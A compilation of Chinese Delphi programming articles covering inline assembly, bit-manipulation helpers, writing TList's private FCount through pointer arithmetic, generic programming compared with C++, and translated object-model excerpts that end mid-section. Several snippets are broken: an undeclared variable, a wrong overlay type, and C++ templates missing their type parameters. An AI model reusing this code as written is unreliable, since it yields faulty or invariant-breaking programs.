function bytetohex(src: byte): string;
begin
setlength(result, 2);
asm
mov edi, [result]
mov edi, [edi]
mov al, src
mov ah, al // save to ah
shr al, 4 // output high 4 bits
add al, '0'
cmp al, '9'
jbe @@outcharlo
add al, 'a'-'9'-1
@@outcharlo:
and ah, $f
add ah, '0'
cmp ah, '9'
jbe @@outchar
add ah, 'a'-'9'-1
@@outchar:
stosw
end;
end;
    该子程序可以实现把一字节的src转换为16进制形式的字符串。刚好
一位站友有这样的问题，够快了吧？ :)
当然，最快的方法还不是这个，想更快吗？拉拉滚动条，看下面：

用查表法！512个字节的表，速度最快！ :)


嵌入式汇编一例

作者 : ether

用delphi写的程序，把x指针指向的4个字节次序颠倒过来：
function toulong(x: pchar): longword;
begin
result := (longword(x^) shl 24) or
(longword((x + 1)^) shl 16) or
(longword((x + 2)^) shl 8) or
(longword((x + 3)^));
end;

以下是用delphi的嵌入式汇编写法：
function toulong(x: pchar): longword;
asm

mov esi,eax
mov ax,[esi]

xchg ah,al
shl eax,16

mov ax,[esi+2]
xchg ah,al

end;

说明：默认情况下，delphi使用“register”方式，若参数在3个已内，将分别使用eax、edx和ecx，超过3个参数部分将使用堆栈。返回参数的存放视长度而定，例如8位用al返回，16位用ax，32位用eax，64位用用两个32位寄存器edx:eax，其中eax是低位。

效率：本例asm大约比delphi或c快50%。


常用的位运算函数

unit Bitwise;

interface
function IsBitSet(const val: longint; const TheBit:
byte): boolean;
function BitOn(const val: longint; const TheBit:
byte): LongInt;
function BitOff(const val: longint; const TheBit:
byte): LongInt;
function BitToggle(const val: longint; const TheBit:
byte): LongInt;

implementation

function IsBitSet(const val: longint; const TheBit: byte):
boolean;
begin
result := (val and (1 shl TheBit)) <>
0;
end;

function BitOn(const val: longint; const TheBit: byte): LongInt;
begin
result := val or (1 shl TheBit);
end;

function BitOff(const val: longint; const TheBit: byte):
LongInt;
begin
result :=   val and ((1 shl TheBit) xor
$FFFFFFFF);
end;

function BitToggle(const val: longint; const TheBit: byte): LongInt;
begin
result := val xor (1 shl TheBit);
end;

end.

////////////////////////////////////////////////////////////////

type Bits = (Bit0, Bit1, Bit2, Bit3, Bit4, Bit5, Bit6,
Bit7, Bit8, Bit9, Bit10, Bit11, Bit12, Bit13,
Bit14, Bit15, Bit16, Bit17, Bit18, Bit19, Bit20,
Bit21, Bit22, Bit23, Bit24, Bit25, Bit26, Bit27,
Bit28, Bit29, Bit30, Bit31, Bit32, Bit33, Bit34,
Bit35, Bit36, Bit37, Bit38, Bit39, Bit40, Bit41,
Bit42, Bit43, Bit44, Bit45, Bit46, Bit47, Bit48,
Bit49, Bit50, Bit51, Bit52, Bit53, Bit54, Bit55,
Bit56, Bit57, Bit58, Bit59, Bit60, Bit61, Bit62,
Bit63);

type TByteBits =  set of Bit0..Bit7;
TWordBits =  set of Bit0..Bit15;
TLongBits
=  set of Bit0..Bit31;
TInt64Bits = set of
Bit0..Bit63;

设置，清除，测试只需要使用集合操作运算符就可以了
设置: Include (mybitset, Bit24);
清除: Exclude (mybitset, Bit15);
测试: if Bit5 in mybitset then ...

位运算操作

AND: mybitset:= [Bit7, Bit8] * [Bit5, Bit6];

OR: mybitset:= [Bit7, Bit5] + [Bit5, Bit6];

转换数值为位集合
function ValToByteBits (CONST v8: Byte): TByteBits;
//转换字节
var b: TByteBits absolute v8;
begin
Result:= b;
end;

function ValToWordBits (CONST v16: Word): TWordBits;
// 转换字
var b:
TWordBits absolute v16;
begin
Result:= b;
end;

function ValToLongBits (CONST v32: Integer): TLongBits;
// 转换长字
var b:
TLongBits absolute v32;
begin
Result:= b;
end;

function ValToInt64Bits (CONST v64: Int64): TInt64Bits;
// 转换Int64类型
var b: TInt64Bits absolute i64;
begin
Result:= b;
end;

转换位集合成值

function BitsToByte (CONST v8: TByteBits): Byte;
// 转换成字节
var b: Byte
absolute v8;
begin
Result:= b;
end;

function BitsToWord (CONST v16: TWordBits): Word;
//转换成字
var b:
Word absolute v16;
begin
Result:= b;
end;

function BitsToInteger (CONST v32: TLongBits): Integer;
//转换为整数
var b: Integer absolute v32;
begin
Result:= b;
end;

function BitsToInt64 (CONST v64: TInt64Bits): Int64;
//转换为int64
var b: Byte absolute v64;
begin
Result:= b;
end;

As you see, we use the "absolute" directive to advice the compiler to put the local variable "on top" of the function parameter. With this technique the compiler produces a minimum of code and we get high performance.

At last I will show you a function, that will count the number of Bits (or Elements) in a given variable. In this function we use a special pascal feature, the "anonymous parameter". The parameter "setvar" is declared without any type. In fact, when we call the function we can put any variable on this place - not only a set for example, but we need to know the concrete size in bytes of the parameter to avoid reading outside the variable.

To inner restrictions of the function, the size of the variable is limited to 256 Bit (the maximum size for a set). If you need more, make the TBitArray bigger.

function CountBits (CONST setvar; size: Integer): Integer;
type TBitArray
= array [0..31] of TByteBits;
var bits: TBitArray absolute setvar;
i, c: Integer;
b: Bits;
begin
c:= 0;
// 计算字节数
for i:= 0 to size - 1 do begin
//
计算位数
for b:= Bit0 to Bit7 do begin
if b in bits[i]
then Inc (c);
end;
end;
Result:= c;
end;


如何跨单元、跨类地访问Delphi类的私有域

Delphi约定，一个私有方法不能被其它模块中调用，同时，一个私有属性不能在其它模块中读写。但Delphi也在同一单元中放宽了上述限制，也就是说，你可以在同一单元的一个类中访问其它类的私有域和私有方法。

但是，有没有办法不在同一单元访问它们呢？

似乎Delphi不提供这样的机制，但是，我们的确可以做到！

一、 问题是怎样被提出的？

OOP方法总是试图安全、快速地构造一个类，并在此基础上继承出子类。为了保证子类对父类操作，以及类实例操作的安全性，OOP中引入了类的私有域的概念。也就是通常说的private域。

如前所述，你可以改写一个类的单元，在该单元中实现对类的私有域的访问。但是，没有人是愿意为每一个Delphi单元来改写代码以实现上述要求，更多人总是希望如同访问一个公开域一样直接地访问私有域，而不受限于任何单元。

——这是不安全、不允许的！OOP方法的基础理论会这样告诉你。

我们应当承认这样做的“不安全”，但Funs们不会接受“不允许”。

问题的提出总是在解决另一个问题的过程之中。——编程历来如此！下面，我将结合一个实现快速删除TList的一批连续结点时的实例，来描述问题提出和实现的全部过程。它将提出一种全新而有效地跨单元、跨类地访问Delphi类的私有域的方法。

按照目前Delphi对类的实现机制和方法，这样的一个“后门”还将永远地开下去，Funs们就好好的利用吧。哈哈。

*注：下面的实现过程最早被我发布在Delphi大富翁论坛(www.delphibbs.com)上，但在一个长篇累牍的贴子里，它并没有引起大家的重视，于是我重新整理了本文。至于原文，大家不妨到下面的贴子里去看看(建议你仔细而小心地阅览该贴，否则你会被淹没的……)：

http://www.delphibbs.com/delphibbs/dispq.asp?lid=650664

二、 从TList开始分析……

为了写一个更好的性能ISAPI Filter，我需要更快速地从TList中删除部分连续的Item。比如这样的一段代码：

var p : pChar = 'abcdefgh';
procedure TestDelFromTList;
var t1 : TList;
    i  : integer;
    maxI : integer;
begin
  t1 := tlist.create;
  t1.count := 100000;
  for i:=0 to t1.count-1 do t1[i] := p;
  maxI := t1.count-10-1; //最后一个结点
  for i:= maxI downto 10 do t1.delete(i);
  //正向删除
  //for i:=10 to t2.count-10-1 do t2.delete(10);
end;

这段代码是初始化一个100000个结点的List，然后删除其中的第10个到倒数第10个。这段代码是逆向的，这样的删除速度比较快。如果换成正向删除(已经注释掉)，则速度就慢得非常多了。

这样的删除是正常的算法。用测效率的程序测试：逆向删除算法的耗时是21.66个毫秒，则正向删除的耗时却能达到58099.02个毫秒。速度慢了2680倍！！！

但这样就很快了么？不是！我认为就算是逆向删除的速度也并不是快的。

分析TList这个类的源码，我们可以看到，它是这样写的(我加入了注释)：

procedure TList.Delete(Index: Integer);
var
  Temp: Pointer;
begin
if (Index < 0) or (Index >= FCount) then //判定Index值是否超界
Error(@SListIndexError, Index);
  Temp := Items[Index];                        //取待删除结点
  Dec(FCount);                                   //Count减一
if Index < FCount then                       //将待删除结点后的Buffer提前
System.Move(FList^[Index + 1], FList^[Index],(FCount - Index) *
SizeOf(Pointer));
if Temp <> nil then                           //发通告
Notify(Temp, lnDeleted);
end;

由于在TList类是将全部的结点指针存放在FList这个动态数组的指针中，所以只需要将Index+1之后的内存块向前移4个字节，即SizeOf(Pointer)，即可实现Index结点的删除。

但是，如果使用这样来删除成批连续的(N个)结点，则要实现N次system.move()操作，操作的内存块的大小决定了system.move()操作的耗时，而Index值越小的的结点在FList中越靠前，则system.move()要操作的内存块也就越大。这就是我认为上述成批删除效率不高的原因，也是正向删除比逆向删除的耗时慢了慢了2680倍的原因。

对于成批删除，理想的算法是从index+len结点开始位置，向前移动count-index-len个结点，这样，就能够一次完成全部的结点移动，实现删除操作。这个思路非常好，至少我认为是这样。为此，我实现了下面的代码：

procedure CutList(aList:TList; left,len:integer);
begin
  with aList do begin
System.Move(List^[left+len], List^[left], (Count-left-len) *
SizeOf(Pointer));
    count := count-len;
  end;
end;

这段代码的功能是在TList.List这个Buffer中，将删除后的剩余结点直接移动到Left这个位置上，从而完成全部的移动操作。

然后，我们再设count := count-len;来使用个数减少，从而完成了成批量的删除。

好的，如果一切正常，算法的速度将大幅度提升！OHHH，美妙的想法！

但是，真的是这样么？我再用效率测试程序来测试了一轮，结果是这样的：

1. 测试数据为10万个结点，则逆向删除算法耗时为20.56毫秒，CutList()函数耗时9.69毫秒；

2. 测试数据为100万个结点，则逆向删除算法耗时为209.13毫秒，CutList()函数耗时98.01毫秒。

速度比逆向算法提高了一倍，而且应该注意到，CutList()的耗时仍然随数据量的增大而等比例的增大！！！而从CutList()函数的实现来看，数据量增大，算法耗时应该只增加极少才对。

要知道，只加快一倍速度的CutList()，并不是我所想要的！！！但为什么CutList()函数得不到更高的性能呢？？？

三、 面对私有域FCount，我咬牙切齿！！！

再次分析TList类的实现代码，发现count接口实现时，是用SetCount来写值，即CutList()函数中，

count := count-len;

一行的调用，实际上将调用

TList.setCount(count-len);

而TList.setCount()的实现代码如下：

procedure TList.SetCount(NewCount: Integer);
var
  I: Integer;
begin
  if (NewCount < 0) or (NewCount > MaxListSize) then  Error(@SListCountError, NewCount);
  if NewCount > FCapacity then  SetCapacity(NewCount);
  if NewCount > FCount //如果要增加Count的值，则调用Fillchar()来填充FList这个Buffer
                       //如果是要减少Count的值，则用for循环调用Delete()来删除结点
    then FillChar(FList^[FCount], (NewCount - FCount) * SizeOf(Pointer), 0)
    else for I := FCount - 1 downto NewCount do Delete(I);
  FCount := NewCount;
end;

请注意看我在上面注释！OH！事实上，SetCount这个操作仍然将调用Delete()来删除各个结点(注意，Borland为了提高这个删除速度，也使用了逆向删除的算法来实现对Delete()的调用)。

所以，我们并不能在CutList()中得到更好的算法效率！——尽管，我们已经只要，仅仅只需要将FCount设成指定值即可，而并不需要再来一次成批的Delete()！

然而，FCount是一个私有域！！！从Delphi对OOP的实现机制来看，我只能通过SetCound()来实现写访问！！！在Classes.pas单元中的这段代码清楚地表明了这一切：

TList = class(TObject)
private
  FList: PPointerList;
  FCount: Integer;
  ...
protected
  ...
  procedure SetCount(NewCount: Integer);
  ...
public
  ...
  property Count: Integer read FCount write SetCount;
  ...
  property List: PPointerList read FList;
end;

——看到这里，我咬牙切齿！！！

四、 跨域私有域保护！

但是接下来，我注意到一点，我们看到，Count读是直接读FCount的值，而写操作是调用SetCount()函数。仔细思考一下这个问题：

既然“Count读是直接读FCount的值”，那么，Count的地址是不是也直接指向FCount呢？？？

OK，且让我们用一段代码来证明它：

program testFixCount;
uses classes, Dialogs, sysUtils;
var t : TList;
    pCount : ^Integer;
begin
t := TList.create;
pCount := @t.Count;  //取得地址？
ShowMessage(IntToStr(pCount^));
t.Count := 10000;
ShowMessage(IntToStr(pCount^));
end.

很明显，pCount成功地得到了FCount的地址。哈哈，我们既然已经取得了一个变量在内存中的地址，那么，还有什么是不能做的呢？？？

我们可以很快完成这样的一段代码来测试对FCount私有域的直接写访问：

program testFixCount;
uses classes, Dialogs, sysUtils;
var t : TList;
    pCount : ^Integer;
begin
  t := TList.create;
  pCount := @t.Count;
  pCount^ := 10;
  showMessage(IntToStr(t.Count));
end.

接下来，我们可以将curList()函数修改一下下了：

procedure CutList(aList:TList; left,len:integer);
var pCount : ^Integer;
begin
  with aList do begin
System.Move(List^[left+len], List^[left], (Count-left-len) *
SizeOf(Pointer));
    //count := count-len;
    pCount := @Count;
    pCount^ := count-len;
  end;
end;

OK! 我再次用那个可爱的效率测试工具测试了一下下，结果，哈哈，漂亮！——

1. 测试数据为10万个结点，则逆向删除算法耗时仍为20.56毫秒，准确地说是20333.25个微秒，而新CutList()函数耗时仅为1.08个微秒；

2. 测试数据为100万个结点，则逆向删除算法耗时为212.67毫秒(212668.22微秒)，而这种情况下，CutList()函数耗时仅为1.26个微秒，比10万个结点略略多了一点儿！:)

快了NNNNNNN倍！！！

这才是我要的结果！一个不会随数据量增加而变慢的CutList()!

五、 突破更多的私有域……

存在的问题是，如果域不提供公用访问接口，那么，也就无法取到它的地址。这种情况下，我们是不是什么也得不到了呢？

仍然参考上述代码上TList的类定义，我们发现，在private域的定义中，FList和FCount被连续定义，从数据结构的角度来看，通常它们在内存中占用连续的空间。事实上，在Delphi中也正是如此处理的。因此，我们只需要得到FList的地址，并用“@List+SizeOf(PPointerList)”，就可以得到FCount的地址了。

我们用下面这段代码来测试不使用TList.Count而直接访问FCount的方法。这意味着，只要我们可以突破一个私有域，我们就可以通过地址计算的方法来突破全部的私有域！

program myTest;
{$APPTYPE CONSOLE}
uses classes, Dialogs, sysUtils;
var
  t : TList;
  pPrivateStrart : pointer;
  pCount,pCapacity : ^Integer;
begin
  t := TList.create;
  pPrivateStrart := pointer(@t.List);
  pCount := pointer(integer(pPrivateStrart) + sizeof(pointer));
  pCapacity := pointer(integer(pCount) + sizeof(integer));
  t.Count := 10000;
  writeln('FCount:',t.Count);
  writeln('FCapacity:',t.Capacity);
  pCount^ := 10;
  pCapacity^ := 1000;
  writeln('FCount:',t.Count);
  writeln('FCapacity:',t.Capacity);
end.

六、 其它

1. 由于直接访问私有域的方法超越了Delphi的对象保护，所以，访问私有域可能导致一些负面影响。比如，直接修改FCount的方法并不会使FList占用的Buffer的空间增大或者减小，也不会使Capacity的值发生任何变化。而在Delphi对于TList的类封装中，这三者之间是有联系的。我们有必要进一步地修改CutList()函数，再加一些代码来维护这种关系，以保证TList类操作的正常。完整的Cutlist()的实现可以在

http://www.delphibbs.com/delphibbs/dispq.asp?lid=650664

或者我的个人主页

http://www.doany.net/ 或 http://aiming.ynxx.com/

上找到。

2. CutList只实现对TList的连续区间的删除，对于任意Item的成批删除，creation-zy在DelphiBBS上有一段极其精彩的论述。它实现的AdvSoftDelete()函数可以极其快速地处理任意结点的成批删除。我建议你到

http://www.delphibbs.com/delphibbs/dispq.asp?lid=650664

翻阅一下creation-zy对该问题的论述。


泛型思想在Delphi中的实现

泛型编程在非C++语言中的实现之探讨

左轻侯
2001.9.22

    GP（Generic Programming，泛型编程）号称编程思想的又一次革命。但是，在论述GP的资料中，一般都是以C++语言为基础来讨论。那么，GP是否可以在其它的编程语言中实现呢？这是作者一直在思考的一个问题，因为水平有限和资料匮乏，收获甚微。现将一些不成熟的想法整理出来，请方家不吝指教。
    本文以Delphi为例（Java的情况与此类似，可参照），讨论GP的另一种实现思路。代码是随手写出的，未经验证。
    根据作者的理解，实现GP的关键之处，在于实现ADT（Abstract Data Type，抽象数据类型）。只有实现了ADT，才能够将具体的数据类型与通用的算法分离开来。
    在C++中，ADT的存储是通过模板来实现的。举一个最简单的栈的例子（没有给出实现部分）：

template class Stack{
public:
void Push(const Type &item);
Type Pop;
...
}

    栈的应用：

Stack s;
int data;
data = 1;
s.Push(data); //入栈

int out;
out = s.Pop; //出栈

    通过建立一个int类型的Stack对象，实现了对int类型数据的存储。
    但是，在Delphi/Java中，并没有模板这种机制。那么如何实现ADT呢？与C++不同的是，Delphi/Java的类继承体系是单根结构的，也就是说，在Delphi中，所有的class都通过编译器强制而保证成为TObject的子类（Java中是Object）。这个TObject可以看成是一切类的最高层次的抽象。那么，是否可以认为Delphi/Java中已经先天地提供了对ADT的支持呢？
    试着用这种思路建立一个栈：

TStack = class
public
procedure Push(item:TObject);
function Pop:TObject;
...
end;

    这个TStack类针对TObject类型的对象进行操作。但是，这个类还不能立即应用，因为在Delphi中，简单数据类型并不是对象。所以必须再建立一个自定义的数据类型。下面建立了只有一个integer成员的自定义数据类型：

TADT = class
public
data:integer;
end;

    再来看栈的应用：

var
stack:TStack;
adt1,adt2:TADT;
begin
stack := TStack.create;
adt1 := TADT.create;
stack.Push(adt1); //入栈

adt2 := stack.Pop as TADT; //出栈

stack.free;

    这样就完成了对ADT对象的存储。必须注意到，在入栈时，是将adt对象直接入栈的，因为TStack类是对TObject进行操作，由于Delphi的单根结构，可以将任何类型的对象赋给TObject类型的变量。但是，出栈时，返回的也是一个TObject的变量，因此必须用as完成一次向下映射。同样由于单根结构，Delphi/Java提供了对RTTI的强大支持，因此这种向下映射是轻而易举的事情。但是，毫无疑问，RTTI在效率上有所损失。
    在实现了ADT的存储之后，如何才能实现对ADT的操作呢？
    在C++中，通过运算符重载来解决这个问题。看一个例子：
    在一个List类中，执行查找操作：

template class List{
Type* find(Type &value); //查找指定数据项，找到则返回其地址，否则返回NULL
...
}

template Type* List::find(Type &value){
Type* p = first->link;
where(p!=NULL&&!(p->data==value)){
p=p->link;
}
return p;
}

    在List类的find函数的实现中，代码抄自链表结构的实现，不需要关心其细节。需要注意的地方只有一个，即判断条件中的p->data==value。由于p->data和value都是ADT，在建立一个List类的对象时，它们可能是简单数据，也可以是任何的自定义数据类型。但是，仍然可以统一使用==这样的运算符，对它们进行操作。为什么呢？原因在于运算符重载。
    下面用一个Point类来说明这一点：

class Point{
private:
int x,y;
public:
int operator ==(const Point &point); //判断两个Point对象是否相等
...
}

int Point::operator ==(const Point &point){
if(x==point.x&&y==poing.y){
return 1;
}else{
return 0;
};
}

    可以看到，由于重载了==运算符，两个Point对象之间可以进行比较。同理，任何数据类型，只要重载了相应的运算符，就可以被容器类进行统一的操作。
    当目光重新转向非C++的时候，问题又出现了：Delphi/Java不支持运算符重载。做为补救措施，可以用函数来代替运算符。例如，统一使用equals函数来代替==。可是，更大的问题在于：容器类操作的对象是TObject，而TObject并没有equals这样的方法。（在Java中，object有equals方法，但并没有其它的完整的运算方法。）
    在不改变Delphi/Java现有语法的前提下，作者能想到的解决办法是，建立一个TADT类，作为所有数据结构的基类。TADT中定义了很多象equals、add之类的抽象方法。自定义的数据类型一律从TADT派生，并重载相应方法。而容器类则只需要对TADT进行操作，即可实现通用的算法了。但是，这种解决方法并不理想。
    （补充一点，其实Delphi自己提供了一些通用的容器类，如TList、TCollection、TStack、TQueue等。但与本文中所说的不同，它们存储的不是TObject，而是pointer。由于Delphi的“引用对象模型”机制，存储TObject对象，其实也就等于存储一个pointer，不同之处在于，pointer不但可以存储对象，而且可以存储基本数据类型。这应该也是Borland如此设计的原因。但是，这些容器类只提供了add、delete之类的管理方法，并没有提供通用的算法，因为对pointer不能进行复杂的操作。实际操作中，往往是程序员从容器类派生出一个新类，或者在自己的类中维护一个容器类。这也是一种解决办法，但算法就不能独立出来了。）

    综上所述，作者的观点如下：
    1、C++中通过模板机制来实现ADT的存储，Delphi/Java同样可以通过单根结构+RTTI的机制来实现。其不同之处在于，C++的实现是语法上的，而Delphi/Java是逻辑上的，也就是说，C++是通过一套特殊的语法来实现的，而Delphi/Java是根据OOP的理论和本身的类库体系自然地实现的。作者个人以为，从这个角度来看，Delphi/Java的实现机制更加简单和直观。
    2、从运行效率来算，C++肯定要强于Delphi/Java，因为C++的实现是编译期的，而Delphi/java是运行期的。RTTI的使用将对效率造成不小的影响。但是，从另一个角度来考虑，ADT在运行期的实现也带来了好处，那就是可以在运行期随意地改变容器类所存储的数据结构类型。作者还没有考虑过这种“数据类型的多态”会对编程带来什么实质性的后果。不过大胆地设想一下，以后也许可以将标准算法封装在DLL之类已编译的模块中，甚至封装在OS提供的COM对象里，程序员只需要创建自己的数据类型，将其提交给相应的接口？……
    3、C++中通过运算符重载，来实现对ADT的操作。在不支持运算符重载的Delphi/Java中，作者未能发现好的代替方法。建立统一的ADT抽象类的解决方法，只能说是一个馊主意。:-(有程序员倾向于Delphi中应该增加运算符重载，这应该是理由之一，不知道Borland是否重视。另外，据说下一版的Java将会全面支持GP，不知道是通过什么机制来实现？请了解内幕的高手介绍一下。


Delphi对象模型V

Delphi对象模型 (PART V)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Indexed properties索引型的属性

你可以将许多不同的属性映射到一个相同的读或写的方法，只需为每个属性指定一个索引值。这个索引值将被传递给读或写的方法以区别不同属性。

你甚至可以将数组型和索引型混合使用。读者和写者的方法将会区分他们——将数组的索引作为第一个参数，接着才是索引值。

Default values默认值

属性还用到stored和default两个指示符。这里的信息与 Delphi的Object Pascal语言的特性关系不大，但是Delphi的IDE将其用作保存Form的描述。stored指示符的值可以是一个Boolean类型的常量，也可以是一个Boolean型的字段，或是一个不需任何参数直接返回Boolean值方法。default指示符的值应当是与该属性的类型相同的一个常量。只有枚举型，整形以及集合类型的属性可以有一个缺省(default)的值。stored和default指示符只对发布的属性才有意义。

为了将缺省的数组数型与缺省的值区别开来，缺省数组的指示符以一个分号跟在属性的声明后面。缺省值指示符则直接置于属性声明以后。参见第五章了解有关default指示符的内容。

Using properties使用属性

通常情况下定义一个类时，我们将所有的字段设置为私有的，然后声明许多公开的属性来访问他们。然而Delphi并未对属性直接访问字段方式表示不满。但是使用属性，你可以在未来的某个时刻改变属性的实现，比如在字段值发生改变是增加校验等。你也可以使用属性来强制访问级别，比如当一个字段的之不能被改变时使用一个只读的属性。例 2-11显示的是声明和使用属性的几种方式。

例 2-11：声明和使用属性

type
  TCustomer = record
    Name: string;
    TaxIDNumber: string[9];
  end;
  TAccount = class
  private
    fCustomer: TCustomer;
    fBalance: Currency;
    fNumber: Cardinal;
    procedure SetBalance(NewBalance: Currency);
  published
    property Balance: Currency read fBalance write SetBalance;
    property Number: Cardinal read fNumber; //不可改变
    property CustName: string read fCustomer.Name;
  end;
  TSavingsAccount = class(TAccount)
  private
    fInterestRate: Integer;
  published
    property InterestRate: Integer read fInterestRate
        write fInterestRate default DefaultInterestRate;
  end;
  TLinkedAccount = class(TObject)
  private
    fAccounts: array[0..1] of TAccount;
    function GetAccount(Index: Integer): TAccount;
  public
//两种属性访问数组的方法：使用索引或者引用一个数组元素
    property Checking: TAccount index 0 read GetAccount;
    property Savings:  TAccount read fAccounts[1];
  end;
  TAccountList = class
  private
    fList: TList;
    function GetAccount(Index: Integer): TAccount;
    procedure SetAccount(Index: Integer; Account: TAccount);
    function GetCount: Integer;
  protected
    property List: TList read fList;
  public
    property Count: Integer read GetCount;
    property Accounts[Index: Integer]: TAccount read GetAccount
        write SetAccount; default;
  end;

procedure TAccount.SetBalance(NewBalance: Currency);
begin
  if NewBalance < 0 then
    raise EOverdrawnException.Create;
  fBalance := NewBalance;
end;

function TLinkedAccount.GetAccount(Index: Integer): TAccount;
begin
  Result := fAccounts[Index]
end;

function TAccountList.GetCount: Integer;
begin
  Result := List.Count
end;

function TAccountList.GetAccount(Index: Integer): TAccount;
begin
  Result := List[Index]
end;

procedure TAccountList.SetAccount(Index: Integer; Account: TAccount);
begin
  fList[Index] := Account
end;

Class-type properties对象类型的属性

对象类型的属性需要引起格外的关注。使用对象类型的时候，最好由对象的拥有者负责管理对象属性。也就是说，单单保存一个对象引用是不够的，需要保留一分该对象属性的一个副本。是用一个写者方法来做到这一点。Delphi的IDE要求所有发布的属性满足这个要求，同时也对未发布的属性也产生影响。

此规则的唯一的例外是，属性保存的是对Form上的组件的引用。这种情况下，属性必须保存对象引用而非组件的副本。

Delphi的IDE只在.dfm中存放组件名称以保存组件引用的值。当.dfm被装载时，Delphi查找组件名以恢复对象引用的值。如果你必须要在一个组件内部保存一个完整的组件，则你必须实现对内部组件的属性的访问委托。

确认属性的类继承自TPersistent而来，并且该类覆盖了Assign方法。通过调用Assign来实现属性的写方法。(TPersistent，在Classes单元中定义，并不是必须的，但确是一个最简单的方法——复制一个对象。否则，你将花费两倍的代价在任何其他用到的类中书写Assigned方法。)读方法可以提供对字段的直接访问。如果该对象有一个OnChange的事件，你最好将设置其值以了解对象何时作了改变。例子 2-12显示了一个典型的使用对象属性的方法。例子中定义了一个图形控件，用于在需要时在其范围内以平铺的方式显示位图。属性Bitmap存放了一个TBitmap对象。

例 2-12：声明和使用对象类型的属性

unit Tile;
interface
uses SysUtils, Classes, Controls, Graphics;
type
// Tile a bitmap
TTile = class(TGraphicControl)
private
fBitmap: TBitmap;
procedure SetBitmap(NewBitmap: TBitmap);
procedure BitmapChanged(Sender: TObject);
protected
procedure Paint; override;
public
constructor Create(Owner: TComponent); override;
destructor Destroy; override;
published
property Align;
property Bitmap: TBitmap read fBitmap write SetBitmap;
property OnClick;
property OnDblClick;
//还有许多有用的方法，限于空间不一一列出。详见TControl。
end;

implementation
{ TTile }
// Create the bitmap when creating the control.
constructor TTile.Create(Owner: TComponent);
begin
inherited;
fBitmap := TBitmap.Create;
fBitmap.OnChange := BitmapChanged;
end;

// Free the bitmap when destroying the control.
destructor TTile.Destroy;
begin
FreeAndNil(fBitmap);
inherited;
end;

// When the bitmap changes, redraw the control.
procedure TTile.BitmapChanged(Sender: TObject);
begin
Invalidate;
end;

// Paint the control by tiling the bitmap. If there is no
// bitmap, don't paint anything.
procedure TTile.Paint;
var X, Y: Integer;
begin
if (Bitmap.Width = 0) or (Bitmap.Height = 0) then
Exit;
Y := 0;
while Y < ClientHeight do
begin
X := 0;
while X < ClientWidth do
begin
Canvas.Draw(X, Y, Bitmap);
Inc(X, Bitmap.Width);
end;
Inc(Y, Bitmap.Height);
end;
end;

//通过复制TBitmap对象的方式设置新值
procedure TTile.SetBitmap(NewBitmap: TBitmap);
begin
fBitmap.Assign(NewBitmap);
end;
end.


对象模型IV

Delphi对象模型 (PART IV)

Delphi对于面向对象编程的支持丰富而且强大。除了传统的类和对象，Delphi还提供了接口，异常处理，多线程编程等特性。这一章节深入讲解了Delphi的对象模型。读者应当对标准的Pascal比较熟悉，并且对有关面向对象编程的基本法则有一定了解。

（本文的英文原文将Delphi与Object Pascal统一表述为Delphi，可能有概念不清之嫌疑。但在大多数情况下，相信读者能够根据上下文来判定文中所述之Delphi的具体含义——译者注。）

Object Life Cycle对象的生命周期

对于绝大多数对象，你调用构造器创建它，使用它，然后调用Free将它释放。Delphi替你处理了所有其他细节。或许，有时，你需要了解更多有关Delphi对象模型内部的实现机制。例2-8显示的是用于模拟Delphi创建和释放一个对象的方法。

例 2-8：对象的生命周期

type
  TSomething = class
    procedure DoSomething;
  end;
var
  Ref: TSomething;
begin
  Ref := TSomething.Create;
  Ref.DoSomething;
  Ref.Free;
end;
//在构造器中被隐藏代码类似于这样：
function TSomething.Create(IsClassRef: Boolean): TSomething;
begin
  if IsClassRef then
  try
    //获得新的对象实例
    Self := TSomething.NewInstance;

    //NewInstance初始化对象，功能与InitInstance类似。假如你覆盖了NewInstance,那么，
//不要调用inherited NewInstance,而应当调用InitInstance。
//这个调用正如下面所示，因此你可以知道究竟发生了什么，
//但是请记住通常Delphi实际上并不调用InitInstance。
    InitInstance(Self);

//做构造器真正要做的工作，无需用到类引用。
//注意，Delphi并不真的对构造器进行递归调用。
    Self.Create(False);

    Self.AfterConstruction;
  except
//若有任何异常发生，Delphi自动调用对象的析构器。
    Self.Destroy;
  end
  else
    Self.Create(False);
  Result := Self;
end;

//构造器中被隐藏的代码类似于这样：
procedure TSomething.Destroy(Deallocate: Boolean);
begin
  if Deallocate then
    Self.BeforeDestruction;

  // Delphi并不真的递归调用析构器，但这里是析构器真正发生作用的地方。
  Self.Destroy(False);

  if Deallocate then
  begin
// Delphi并不真的调用CleanupInstance而是调用FreeInstance来做清理的工作。
// 假如覆盖了FreeInstance,不要调用inherited FreeInstance,而应当调用CleanupInstance
// 来清理字串、动态数组以及可变类型字段。
    Self.CleanupInstance;
//调用FreeInstance来释放对象占用的内存。
    Self.FreeInstance;
  end;
end;

Access Levels访问级别

类似于C++和Java，Delphi提供了不同的访问级别控制机制，来决定一个对象是否能其他对象的字段，方法，以及属性等。访问级别分为以下几种：

private 私有的
私有的方法，只能被该类自己的方法以及在同一单元的实现部分中定义的方法、过程和函数访问。Delphi没有C++风格的友类声明也没有Java风格的包级别上的访问控制(package level access)。在Delphi中与之等同的是将包或者友类在同一单元声明，这样该单元中的所有类的私有及受保护部分都可以被访问。

protected 受保护的
受保护的方法，可以被该类以及派生类的任何方法访问。派生的类可以处于不同的单元中。

public 公用的
公开的方法没有访问限制。任何方法，函数，或者过程都可以访问公用声明的部分。除非使用$M+编译指示符，否则缺省的访问级别是公用的。

published发布的
发布的声明与公用的声明基本上相同，唯一的不同是Delphi为发布的声明保存运行时间信息。有些声明不能是发布的；详见第三章内容。如果类或者基类使用$M+指示符，则缺省的访问级别为发布的。

提示：
 Delphi的IDE在Form最开始没有命名的部分声明字段和方法。因为TForm继承自TPersistent，而在TPersistent中使用了$M+指示符，因此最开始部分的访问级别为发布的published。换句话说，IDE将字段和方法声明为发布的。当Delphi装载一个Form描述文件（.dfm文件）时，它依赖于发布的信息来创建该Form对象。IDE依赖于Form类的最开始未命名部分的声明。假如你修改那一部分的东西，可能会有导致IDE的Form编辑器不可用的危险。

automated 自动的
